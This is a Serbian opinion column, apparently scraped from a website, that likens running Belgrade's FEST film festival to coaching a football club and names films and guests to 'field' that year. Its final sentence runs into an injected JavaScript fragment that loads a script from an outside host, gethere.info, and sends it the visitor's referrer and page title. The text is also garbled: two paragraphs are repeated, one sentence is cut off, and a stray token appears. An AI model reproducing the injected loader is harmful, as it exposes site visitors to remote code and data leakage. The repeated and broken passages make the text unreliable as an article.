VOJNOV: FEST kao utakmica na “Santijago Bernabeu”

VOJNOV: FEST kao utakmica na “Santijago Bernabeu”


Srbija još uvek ima minorno mesto u mehanizmu Fabrike snova ali FEST poslednjih godina definitivno ima mnogo bolje goste nego što zaslužujemo

Umetničko rukovođenje FEST-om slično je treniranju Real Madrida, potrebno je ređati pobede, ali se veoma vodi računa i o načinu na koji se pobeđuje, mora uvek biti ubedljivo i spektakularno. Istovremeno, podseća i na treniranje Crvene zvezde jer novca nema dovoljno, a i Partizan ponekad ima jaču političku podršku.

Kao što je naš fudbal doživeo slom usled više faktora, među kojima su rat, raspad države i besparica na kraju cele priče zapravo bili minorna smetnja, u odnosu na liberalizaciju kretanja igrača po evropskim ligama, sakupljanje kvaliteta i kapitala u nekoliko klubova, i profilisanje takmičenja u korist bogatih, tako se i FEST suočava sa nepovoljnim međunarodnim okolnostima.

Za početak, FEST je osnovan u vreme kada su pobednici velikih filmskih festivala bili naslovi koji su spajali umetničku vrednost sa bioskopskim predispozicijama. Danas, na velikim festivalima pobeđuju filmovi koji nisu pravljeni da se gledaju masovno, recimo u Centru “Sava”. Čak naprotiv. Ove godine je u Veneciji pobedio crnobeli film Lava Diaza, koji traje skoro četiri sata. FEST je krenuo sa sloganom festival festivala. Ko danas zaista ima hrabrosti da zaviri u ono što nagrađuju najveći festivali poput Kana i Venecije? Samo neustrašiva publika Festivala autorskog filma i ostali koji su zalutali u bioskop.

Srećom, čovek može da se uvek osloni na Amerikance jer oni i kad se bave umetnošću znaju da svaki dinar mora da se zaradi. Problem sa njima jeste u tome što svoje filmove eksploatišu brzo. Oni kratko traju u bioskopima, a nezavisna produkcija sve češće svoje najuspešnije naslove odmah prodaje Netflixu i Amazonu. To znači da ciljna grupa FEST-a često znatno pre festivala ima priliku da na internetu vidi ono što će biti u ponudi, a što je još gore, u mnogo slučajeva Amerikanci neće ni da čekaju FEST jer im je zgodnije da u sklopu globalne kampanje puste film u celom svetu nego da idu od tržišta do tržišta.

U vreme najveće slave FEST-a država je bila u periodu titoizma, kada nije svako mogao baš sve da zna. Dostupnost informacija o filmovima danas nema presedana, a FEST nema taj luksuz da bude premijerna destinacija za razne naslove, ne samo zato što nema uslova za to već i zato što mu to nije koncepcija.

I onda, naravno, ostaju one zlokobne špice hronika FEST-a na kojima možemo da vidimo Sophiu Loren, De Nira, Nicholsona i da po hiljaditi put slušamo anegdote o tome ko je voleo ćevapčiće, ko beogradske devojke, a ko beogradske mladiće. Dakle, pitanje gostiju

Šta preostaje našem strategu onda? Za početak da sa punim razumevanjem prođe kroz festivalsku predigru, koja poput turnira četiri skakaonice kreće od Sandensa, doživljava vrhunac u Kanu i završava se Torontom. Presudna je moć anticipacije, naročito na dva bitna događaja, na Berlinskom festivalu, koji se odvija neposredno pre FEST-a, i na Oskarima, koji se obično dešavaju uporedo sa njim.

Zatim, važna je moć otkrivanja onoga što je novo, što će tek postati važno i onoga što je zapravo kvalitetno. Konačno, potrebna je pedagoška crta kako bi se na svakom izdanju FEST-a publika upoznala sa ponečim što nije nužno ekskluzivno ali je veoma važno i ne mora isključivo da bude vezano za visok umetnički domet, već i za predstavljanje drugih kultura, pa makar i kroz njihov repertoarski film.

I onda, naravno, ostaju one zlokobne špice hronika FEST-a na kojima možemo da vidimo Sophiu Loren, De Nira, Nicholsona i da po hiljaditi put slušamo anegdote o tome ko je voleo ćevapčiće, ko beogradske devojke, a ko beogradske mladiće. Dakle, pitanje gostiju. Danas je naravno mnogo teže mobilisati čak i srpske filmadžije da dođu na FEST i pozdrave publiku, a kamoli svetske zvezde. Uvođenje takmičarskog programa i nacionalne selekcije, međutim, to uspeva da preokrene, i FEST iz godine u godinu ima sve relevantnije goste, upravo zahvaljujući tome što su motivisaniji da dođu nego inače. Da li će uskoro DiCaprio jesti ćevapčiće, ostaje da se vidi jer Srbija kao tržište još uvek ima minorno mesto u mehanizmu Fabrike snova, ali FEST poslednjih godina definitivno ima mnogo bolje goste nego što zaslužujemo.

Sa kim bi na teren ove godine morao da izađe Jugoslav Pantelić?

Na golu svakako Emir Kusturica, naš najeminentniji reditelj. Njegov novi film “Na mlečnom putu” premijerno je prikazan u Veneciji i čeka svoju srpsku premijeru. Koji je bolji povod za nju od FEST-a? Kusturica je poznat po tome što nam je do sada priuštio mnogo prizora za montažu FEST-ove špice, recimo svirku Johnnyja Deppa sa “Brejkersima”. Ove godine to bi mogla da bude Monica Bellucci u gostima. Ćevapčići su umešeni.

U odbrani pouzdani oskarovski kandidati – “Moonlight”, “La La Land” i “Manchester by the Sea”. “La La Land” je obnova holivudskog mjuzikla sa glamuroznim zvezdama Ryanom Goslingom i Emmom Stone i igraće za publiku. “Moonlight” je tvrda priča o odrastanju mladog gej muškarca u afroameričkoj mačističkoj kulturi, o kojoj mnogo govori to što ga je u “Varietyju” kao omiljeni film godine živopisao autor “Vreline” Michael Mann. I konačno “Manchester by the Sea”, priča o gubitku koja će postati etalon za filmove tog tipa.

NEhopny3Slnqkk_1_b

Stub sredine terena mora biti Danny Boyle sa svojim nastavkom “Trainspottinga”. Umetnički direktor će ga uvesti na teren na početku ili će ga publika dozvati skandiranjem sa tribina, svejedno je. Posle premijere na Berlinalu, FEST je sledeći

Da li je Olivier Assayas samo francuski tehničar ili jedan od najvećih evropskih autora, nikako da se odluči, ali ako je ovo drugo, onda sredinu terena mora predvoditi njegov “Personal Shopper”, koji je naišao na kontroverzne reakcije u Kanu. Doug Liman je reditelj koji je uneo mejnstrim estetizaciju u nezavisni film, a nezavisnu sklonost razbijanja klišea u mejnstrim – Amazon je kupio njegov novi film “The Wall”, triler o obračunu snajperista u iračkoj pustinji i baš u vreme FEST-a zakazana je premijera – zašto se ne bi desila i u Beogradu. Za kraj, na sredini je potreban i iskusni Nemac koji se bori do poslednjeg zvižduka – iako je u zaustavnom vremenu svoje karijere, Volker Schloendorff ima novi film “Return to Montauk”, u kome se iznova nalazi na tlu Amerike, tamo gde je snimio neke od svojih najboljih filmova – recimo “Palmetto”.

Stub sredine terena mora biti Danny Boyle sa svojim nastavkom “Trainspottinga”. Umetnički direktor će ga uvesti na teren na početku ili će ga publika dozvati skandiranjem sa tribina, svejedno je. Posle premijere na Berlinalu, FEST je sledeći.

Desetka može biti samo jedna. Holandski veteran Paul Verhoeven zaslužuje mesto na terenu na kome je sve dozvoljeno. Svojim novim filmom “Elle” pokazao je kako se snima punokrvni francuski film, kao što je onomad u Holivudu poučavao Amerikance kako se snima američki. Kapitenska traka ide filmu “Elle”.

U samom špicu potrebni su mladi i brzi. I vrhunski motivisani. Luka Bursać, naš debitant sa filmom “Afterparti”, treba da započne karijeru na FEST-u. Snimio ga je mimo institucija i proizveo energičnu sliku Beograda danas, Beograda noću, Beograda propuštenog kroz prizmu Nicolasa Winding Refna. Pored njega, treba da se nađe Kim Jee Woon sa južnokorejskim kandidatom za oskara “The Age of Shadows”, moćnom pričom o tamošnjem pokretu otpora koji se borio protiv Japanaca.

Na klupi bih ostavio “Colossal Nacha Vigalonda”, ekscentrični monster movie sa Anne Hathaway i Jasonom Sudeikisom u glavnim ulogama, zatim ruski naučnofantastični spektakl Fjodora Bondarčuka o invaziji vanzemaljaca koji nailaze na otpor Rusa i izuzetan srpsko-italijanski dokumentarni film “Controindicazione” Tamare von Steiner.

Za razliku od Zvezde sa Grofom Božovićem, FEST sa ovakvim sastavom može da dočeka proleće u redu ozbiljnih regionalnih filmskih smotri, i to sa stilom. Nadamo se da Mamići našeg filma mogu da obezbede uslove za to.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;